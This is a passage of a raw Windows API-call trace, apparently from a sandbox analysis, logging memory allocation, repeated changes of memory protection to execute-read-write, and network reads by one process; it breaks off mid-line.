[0145.134] VirtualFree (lpAddress=0x1f0d4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.135] VirtualAlloc (lpAddress=0x1f0d4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f0d4000 [0145.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.180] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x5cac) returned 1 [0145.180] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.182] VirtualAlloc (lpAddress=0x1f0dc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f0dc000 [0145.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.187] VirtualFree (lpAddress=0x1ed70000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0145.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.188] VirtualAlloc (lpAddress=0x0, dwSize=0x290000, flAllocationType=0x2000, flProtect=0x1) returned 0x1f0f0000 [0145.188] VirtualAlloc (lpAddress=0x1f0f0000, dwSize=0x27c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f0f0000 [0145.195] VirtualAlloc (lpAddress=0x1f0e4000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f0e4000 [0145.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.233] VirtualFree (lpAddress=0x1ee70000, dwSize=0x268000, dwFreeType=0x4000) returned 1 [0145.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.251] VirtualFree (lpAddress=0x1ee58000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0145.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.252] VirtualFree (lpAddress=0x1ed70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0145.258] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.259] VirtualAlloc (lpAddress=0x1ee70000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee70000 [0145.259] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.260] VirtualFree (lpAddress=0x1f0d8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0145.275] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.275] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.281] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0145.282] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.283] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x103c) returned 1 [0145.283] VirtualFree (lpAddress=0x1ee70000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0145.283] VirtualAlloc (lpAddress=0x1f378000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f378000 [0145.284] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x51c4) returned 1 [0145.285] VirtualAlloc (lpAddress=0x1ee70000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee70000 [0145.286] VirtualFree (lpAddress=0x1ee80000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.286] VirtualAlloc (lpAddress=0x1f37c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f37c000 [0145.287] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xda08) returned 1 [0145.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.359] VirtualAlloc (lpAddress=0x1ee78000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee78000 [0145.360] VirtualFree (lpAddress=0x1ee70000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.360] VirtualAlloc (lpAddress=0x1f380000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x1f380000 [0145.360] VirtualAlloc (lpAddress=0x1f380000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f380000 [0145.361] VirtualFree (lpAddress=0x1ee84000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.362] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x20b0) returned 1 [0145.362] VirtualFree (lpAddress=0x1ee74000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0145.363] VirtualAlloc (lpAddress=0x1f38c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f38c000 [0145.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xd90) returned 1 [0145.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.393] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.393] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.393] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.394] VirtualAlloc (lpAddress=0x0, dwSize=0x2b0000, flAllocationType=0x2000, flProtect=0x1) returned 0x1f480000 [0145.394] VirtualAlloc (lpAddress=0x1f480000, dwSize=0x1c0000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f480000 [0145.399] VirtualAlloc (lpAddress=0x1f390000, dwSize=0xf0000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f390000 [0145.432] VirtualFree (lpAddress=0x1f380000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0145.433] VirtualFree (lpAddress=0x1f0f0000, dwSize=0x290000, dwFreeType=0x4000) returned 1 [0145.446] VirtualFree (lpAddress=0x1f0e0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0145.446] VirtualFree (lpAddress=0x1f0f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.453] VirtualFree (lpAddress=0x1ee70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.460] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0145.460] VirtualAlloc (lpAddress=0x1f640000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f640000 [0145.461] VirtualFree (lpAddress=0x1f63c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.462] VirtualAlloc (lpAddress=0x1f640000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.462] VirtualAlloc (lpAddress=0x1f640000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.462] VirtualAlloc (lpAddress=0x1f63c000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.462] VirtualAlloc (lpAddress=0x1f63c000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.462] VirtualAlloc (lpAddress=0x0, dwSize=0x2c0000, flAllocationType=0x2000, flProtect=0x1) returned 0x1ebe0000 [0145.463] VirtualAlloc (lpAddress=0x1ebe0000, dwSize=0x2c0000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ebe0000 [0145.481] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.507] VirtualFree (lpAddress=0x1f480000, dwSize=0x1bc000, dwFreeType=0x4000) returned 1 [0145.519] VirtualFree (lpAddress=0x1f38c000, dwSize=0xf4000, dwFreeType=0x4000) returned 1 [0145.525] VirtualFree (lpAddress=0x1f380000, dwSize=0x0, 